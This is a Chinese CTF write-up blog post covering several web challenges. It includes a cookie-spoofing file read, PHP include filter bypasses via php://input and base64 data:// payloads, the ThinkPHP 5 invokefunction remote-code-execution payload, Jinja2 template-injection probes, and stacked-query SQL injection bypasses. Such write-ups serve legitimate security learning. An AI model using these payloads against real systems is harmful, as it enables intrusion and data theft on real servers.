IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTF_WEB(习题) -> 正文阅读

[PHP知识库]CTF_WEB(习题)

一、bugku_web_cookie欺骗:https://ctf.bugku.com/challenges/detail/id/87.html

  1. 在这里插入图片描述

  2. 地址栏filename一看为base64,解密为keys.php

  3. 尝试index.php加密为base64:aW5kZXgucGhw,读取一下,啥也没有
    在这里插入图片描述

  4. 观察地址栏,将line赋值为1试试,发现是将index.php按行读取了
    在这里插入图片描述

  5. 将index.php读取出来,读读取结果

#cookies欺骗
import requests
php=""
f=open("index.txt","w+")
for i in range(0,100,1):
    url="http://114.67.175.224:14875/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    php=requests.get(url)
    f.write(php.content)
f.close()
<?php
error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
# isset() 函数用于检测变量是否已设置并且非 NULL
#这是一个php的三元运算符      (条件) ? (值1):(值2);解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。
#这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];如果$_GET['id']没有被设置,则$id = '';
$line=isset($_GET['line'])?intval($_GET['line']):0;
#intval() 函数用于获取变量的整数值
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
#php header("location: $url")页面跳转
$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>


  1. 构造Cookie即可得到flag,注意此时读取的是keys.php 在这里插入图片描述

二、xctf_Web_php_include:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5415&page=1

  1. 发现是一个绕过问题:strstr(a,b)实现在a中寻找b,并返回b及b在a中以后的部分,不区分大小写;str_repalce(a,b,c)在c中寻找a,并将找到的部分替换成b,区分大小写。源代码将php://替换成空格,需要进行绕过
    在这里插入图片描述
    (1)利用函数是否区分大小写,利用php://input伪协议进行绕过,简单说就是获取post数据。

    在这里插入图片描述
    在查看器中找到flag
    在这里插入图片描述
    (2)过滤了php://的伪协议,那就用data://text/plain,使用方法:data://text/plain;base64,xxxx。
<?php system("dir")?>
//base64编码后为PD9waHAgc3lzdGVtKCJkaXIiKT8+,但是浏览器不能识别+,需要进行url编码,编码后为
PD9waHAgc3lzdGVtKCJkaXIiKT8+
PD9waHAgc3lzdGVtKCJkaXIiKT8%2B

在这里插入图片描述
在这里插入图片描述
获取flag

<?php system("cat fl4gisisish3r3.php")?>
//编码后
http://111.200.241.244:62118/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看页面源代码获得flag
在这里插入图片描述
三、xctf_php_rce:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5412&page=1

  1. 打开题目
    在这里插入图片描述
  2. 题目提示有远程执行漏洞,搜索thinkphp v5为php框架,存在远程代码执行漏洞,网上搜一下
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  1. 执行一下结果为
    在这里插入图片描述
  2. 证明可以执行,接着执行ls指令(在这个过程中有个插曲,就是用hackbar不能得到结果,每次都需要在地址栏把playload重新粘贴一便,执行完一次改想执行的指令就没结果了,还得重新粘一次,奇怪!但是执行完一次,等一会直接该命令是可以的)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

在这里插入图片描述

  1. 搜索flag的相关信息
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

在这里插入图片描述
2.

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

在这里插入图片描述
三、bugku_web:simple_SSTI(https://ctf.bugku.com/challenges/detail/id/196.html)

  1. 打开题目,只有这个提示,发送一个flag的参数,get尝试一下
    在这里插入图片描述
  2. 传递flag是什么会显示在前端,post传递一下会报错。于是进行常规操作:右键查看源代码,F12看查看器
    在这里插入图片描述
  3. 查一下flask是啥:Flask是一个轻量级的基于Python的web框架,jinjan2是Flask作者开发的一个模板系统,仿django模板的一个模板引擎,为Flask提供模板支持。根据题目提示是一个模板注入
  4. Jinjan2 基础语法分为三种:{% … %}、{{ … }}、{# … #}
  5. 尝试payload,页面显示6,注意这里不要用2+3
http://114.67.175.224:17207/?flag={{2*3}};
  1. 构建paylod
http://114.67.175.224:17207/?flag={{config}};
#http://114.67.175.224:17207/?flag={{config.SECRET_KEY}};

在这里插入图片描述
四、XCTF_web_supersql:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1

  1. sqlmap爆破,不成功,只扫出来数据库名称是supersqli?尝试手工注入

  2. 题目为suoersqli,明显为sql注入
    在这里插入图片描述

  3. 输入1,1’结果如下,说明注入点格式为’1’
    在这里插入图片描述
    在这里插入图片描述

  4. 确认注入格式输入:1’ and 1=1#,由结果显示是对的
    在这里插入图片描述

  5. 判断有几列:1' order by 2#不出错,说明有两列

  6. 获取数据库名称:1' select 1,database()#,提示进行了过滤,尝试一下能获得什么
    在这里插入图片描述

  7. 堆叠查询,用分号分割语句查询1';show databases;#
    在这里插入图片描述

  8. 获取表1';show tables;#
    在这里插入图片描述

  9. 接下来有三种方法解决

  • mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
    handler table_name open 打开表格
    handler tabel_name read first 读取表格第一行
    handler tabel_name read next 依次读取其他行
    注意MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号:show columns from 1919810931114514
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述

  • 有两个表格,页面默认查的是words表格?,把1919810931114514和words表格改一下名字,即可查询
1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#

  • 使用mysql预处理语句,进行绕过:MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT,也就是预处理语句,字符拼接函数可以考虑用来绕过关键字检查
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章           查看所有文章
加:2021-12-24 18:16:21  更:2021-12-24 18:17:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 15:49:39-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码